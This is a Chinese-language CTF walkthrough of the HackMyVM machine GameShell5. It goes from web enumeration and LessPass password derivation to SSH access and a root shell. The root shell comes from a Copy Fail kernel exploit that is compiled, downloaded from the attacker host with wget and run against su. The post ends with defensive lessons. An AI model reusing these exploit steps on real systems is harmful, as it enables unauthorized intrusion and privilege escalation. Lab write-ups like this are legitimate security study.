HackMyVM GameShell5 通关记录|LessPass 密码推导与 Copy Fail 内核提权
靶机链接:GameShell5
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| GameShell5 | 192.168.1.110 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp HTTP | 确定攻击面 |
| Web 枚举 | robots.txt、script.js、style.css | 找到静态资源线索 |
| JS 反混淆 | 在脚本末尾追加 JSON.stringify() 输出关键变量 | 提取 LessPass 输入参数 |
| CSS 隐写 | data URI PNG 的 alpha 通道显示 LessPass 标志 | 确认密码生成方向 |
| 密码推导 | LessPass 根据 site、login、master password 离线生成密码 | 获得 noob 的 SSH 密码 |
| 初始访问 | SSH 登录 noob,用户属于 adm 组 | 获取 user flag 并继续本地枚举 |
| 内核提权 | Copy Fail / CVE-2026-31431 覆写 su 页面缓存 | 获得 root shell |
0x02 侦察与信息收集 (Reconnaissance)
1. 全端口扫描
使用 Nmap 对靶机进行全端口 TCP 扫描:
nmap -p- -T4 192.168.1.110
输出:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2. 服务版本探测
nmap -sV -p 22,80 192.168.1.110
服务列表摘要:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 |
80/tcp | HTTP | Apache httpd 2.4.62 (Debian) |
分析: OpenSSH 8.4 和 Apache 2.4.62 都是 Debian 11 常见版本,未直接暴露明显可打的远程漏洞。优先从 80 端口 Web 内容中寻找信息泄露。
3. Web 目录枚举
gobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirb/common.txt
发现:
/index.html (200 OK)
/robots.txt (200 OK)
/script.js (200 OK)
/style.css (200 OK)
robots.txt 禁止了 *.js 和 *.css 的爬取。这在靶场里通常不是“隐藏安全措施”,而是一个反向提示:越不让看的静态资源,越可能包含关键线索。相关思路见知识库:robots.txt 与静态资源线索分析。
index.html 首页标题为 Retro Bowl,正文是一个指向 shellshock.io 的 iframe,外观看起来像普通游戏页面,但真正的线索在静态资源中。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. JavaScript 反混淆:获取 LessPass 参数
下载 script.js 后发现代码经过重度混淆。直接用 Node.js 执行原始脚本,并在脚本末尾追加一段 JSON.stringify() 输出关键变量:
wget http://192.168.1.110/script.js -O /tmp/script.js
node -e "$(cat /tmp/script.js; echo 'process.stdout.write(JSON.stringify({site, loginName, masterPass})+String.fromCharCode(10))')"
反混淆后得到三个关键变量:
site = "shell-shockers.dsz"
loginName = "noob"
masterPass = "aBcDeFgHiJkLmNoP"
分析: site、loginName、masterPass 这三个字段组合,很像无状态密码管理器的输入参数。此时还不能直接断定是 LessPass,需要继续找旁证。
2. CSS 隐写:确认 LessPass 线索
style.css 中嵌入了一个 base64 编码的 data URI PNG 图片。提取图片并查看 alpha 通道:
wget http://192.168.1.110/style.css -O /tmp/style.css
grep -oP "data:image/png;base64,\K[^')\"]+" /tmp/style.css | base64 -d > /tmp/stego.png
图片出现 LessPass 标志,说明 script.js 中的字段确实是 LessPass 的输入。
3. LessPass 密码推导
LessPass 是一个无状态密码管理器,会根据固定输入确定性地生成密码。通用判断思路见知识库:LessPass 无状态密码推导。本题使用默认参数:
| 参数 | 值 |
|---|---|
| site | shell-shockers.dsz |
| login | noob |
| master password | aBcDeFgHiJkLmNoP |
| counter | 1 |
| length | 16 |
| 字符集 | 小写 + 大写 + 数字 + 符号 |
| 算法 | PBKDF2-HMAC-SHA256,100000 次迭代 |
使用 PyPI 的 lesspass 包在临时 venv 中计算密码:
python3 -m venv .venv
.venv/bin/python -m pip install --quiet lesspass
.venv/bin/lesspass "shell-shockers.dsz" "noob" "aBcDeFgHiJkLmNoP"
输出:
&"0isY/n~(=\G>Ui
Kali 新版本启用了 Python externally managed environment 保护,直接 python3 -m pip install --user lesspass 可能会被拦截。这里使用临时 venv,复现完可以清理:
rm -rf .venv
LessPass 的核心逻辑可以理解为:
password = render(PBKDF2-HMAC-SHA256(master_password, salt, 100000))
其中 salt = site + login + hex(counter)
render() 将 256-bit 熵值转换为指定长度和字符集的密码
由于算法是确定性的,只要 site、login、master password、counter 和字符集参数正确,无论在哪台机器上计算,结果都会一致。
0x04 核心攻击链:LessPass 凭证获取初始权限
1. SSH 登录
使用推导出的密码登录 noob:
sshpass -p '&"0isY/n~(=\G>Ui' ssh noob@192.168.1.110
登录成功后确认当前身份:
id
输出:
uid=1000(noob) gid=1000(noob) groups=1000(noob),4(adm)
关键发现: noob 属于 adm 组,可以读取大多数系统日志。虽然本题后续主要走内核提权,但 adm 组本身仍是值得记录的信息收集优势。
2. User Flag
cat /home/noob/user.txt
User Flag:
flag{user-a540e7b8a5bf4ad5e8bac66150ea2fcc}
3. 初步本地枚举
uname -a
cat /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
关键结论:
Linux GameShell5 4.19.0-27-amd64
Debian GNU/Linux 11 (bullseye)
User noob may not run sudo on GameShell5
sudo、SUID、capability 三条常规提权路径都没有直接突破口。结合内核版本,下一步转向内核提权检查。
0x05 权限提升 (Privilege Escalation)
1. LinPEAS 自动化枚举
上传并执行 LinPEAS。工具用法和输出判断见知识库:LinPEAS Linux 提权枚举。
sshpass -p '&"0isY/n~(=\G>Ui' scp linpeas.sh noob@192.168.1.110:/tmp/
sshpass -p '&"0isY/n~(=\G>Ui' ssh noob@192.168.1.110 'bash /tmp/linpeas.sh'
LinPEAS 关键输出:
╔══════════════════════════════════╗
║ CVE-2026-31431 (Copy Fail) ║
║ Kernel 4.19.0-27-amd64 ║
║ Vulnerable: YES ║
╚══════════════════════════════════╝
靶机内核 4.19.0-27-amd64 命中 Copy Fail / CVE-2026-31431。
2. Copy Fail 命中与利用路径
靶机已经通过 LinPEAS 命中 CVE-2026-31431,这里不再展开漏洞原理。通用分析、影响范围和备用实现单独放到知识库:CVE-2026-31431 Copy Fail Linux 内核提权。
本题直接走实测路径:使用 C 静态 exploit 覆写 /usr/bin/su 的页面缓存,然后调用 /usr/bin/su 获得 root shell。
LinPEAS 命中 Copy Fail
-> 编译 C 静态 exploit
-> HTTP 分发到 /tmp
-> 后台运行 exploit
-> 管道调用 /usr/bin/su
-> root shell
3. 编译 Copy Fail C 版本 exploit
在攻击机上编译:
git clone https://github.com/tgies/copy-fail-c.git /tmp/copy-fail-c
cd /tmp/copy-fail-c
make exploit
strip exploit
编译产物:
exploit: ELF 64-bit LSB executable, x86-64, statically linked, stripped
payload: ELF 64-bit LSB executable, x86-64, stripped
4. HTTP 分发与远程执行
在攻击机上启动 HTTP 服务:
cd /home/kali/wp/GameShell5/tools
python3 -m http.server 8080 --bind 0.0.0.0
登录靶机后下载并执行:
sshpass -p '&"0isY/n~(=\G>Ui' ssh noob@192.168.1.110 '
cd /tmp
wget -q http://192.168.1.113:8080/exploit -O exploit
chmod +x exploit
./exploit &
sleep 6
echo "id; whoami; cat /root/root.txt" | /usr/bin/su
'
执行结果:
[+] target: /usr/bin/su
[+] payload: 1456 bytes (364 iterations)
[+] page cache mutated; exec'ing target
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(noob)
root
flag{root-723e74e2633361fb7aa5b6118cf95b60}
这条命令里有三个细节:
./exploit &:让 exploit 后台执行,避免其execl()替换当前 shell 后导致后续命令不再执行。echo "..." | /usr/bin/su:变异后的su实际是setuid(0)后执行/bin/sh的载荷,不解析-c参数,只能通过 stdin 喂命令。sleep 6:等待页面缓存变异完成后再调用/usr/bin/su。
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/noob/user.txt - 内容:
flag{user-a540e7b8a5bf4ad5e8bac66150ea2fcc}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-723e74e2633361fb7aa5b6118cf95b60}
复盘总结
GameShell5 的攻击链很有代表性:前半段是静态资源信息泄露,后半段是本地内核提权。
robots.txt不一定是限制,有时更像提示。这里它把注意力引向script.js和style.css。- 客户端 JavaScript 混淆不能保护秘密。
site、loginName、masterPass一旦出现在前端,反混淆后就等同于泄露。 - LessPass 的无状态特性意味着攻击者可以离线生成密码。拿到完整输入参数后,不需要碰撞、不需要在线爆破。
- CSS 中的 data URI 图片和 alpha 通道是确认线索方向的关键。它把“疑似密码生成参数”收束为“LessPass 参数”。
noob属于adm组,虽然本题最终没有从日志里提权,但这类权限在真实环境中经常会放大信息泄露面。- Copy Fail 的危险点在于它污染页面缓存而不改磁盘文件。传统文件 hash 校验可能看不到变化,执行时却加载了缓存中的恶意内容。
- 对内核漏洞利用来说,C 静态编译通常比脚本更可靠。它减少了解释器、库版本、缺失 API 等环境变量带来的不确定性。
从防守视角看,核心问题同样明确:不要在前端资源里放任何凭证或凭证生成参数;不要把普通用户加入不必要的高信息权限组;内核版本应及时跟进安全修复;对页面缓存型攻击,单纯依赖磁盘文件完整性校验是不够的。